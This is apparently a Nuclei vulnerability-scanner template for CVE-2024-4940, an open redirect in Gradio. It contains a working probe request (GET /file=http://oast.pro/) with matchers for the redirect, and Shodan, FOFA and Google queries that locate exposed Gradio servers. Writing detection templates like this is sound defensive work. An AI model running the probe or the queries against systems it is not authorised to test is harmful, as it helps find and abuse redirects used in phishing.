Gradio - Open Redirect

id: CVE-2024-4940

info:
  name: Gradio - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.
  impact: |
    Attackers can redirect users to malicious websites via open redirect, potentially enabling phishing attacks.
  remediation: |
    Update Gradio to a version that patches the open redirect vulnerability.
  reference:
    - https://huntr.com/bounties/35aaea93-6895-4f03-9c1b-cd992665aa60
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-4940
    cwe-id: CWE-601
    epss-score: 0.01021
    epss-percentile: 0.59086
  metadata:
    verified: true
    max-request: 1
    vendor: gradio_project
    product: gradio
    shodan-query:
      - http.html:"__gradio_mode__"
      - http.title:"gradio"
    fofa-query:
      - body="__gradio_mode__"
      - title="gradio"
    google-query: intitle:"gradio"
  tags: cve,cve2024,redirect,oast,gradio,vuln

http:
  - raw:
      - |
        GET /file=http://oast.pro/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
        part: header

      - type: status
        status:
          - 302
# digest: 4b0a00483046022100927c84d5ab06b2dbcc583ea3cb9d5274a5512b3b3b74239c7a313b61370b6bed022100b6cd2e1fb7f00130215d6aec84287cf7b27e4e37fcf18c8faccb0fdc92c38949:922c64590222798bb761d5b6d8e72950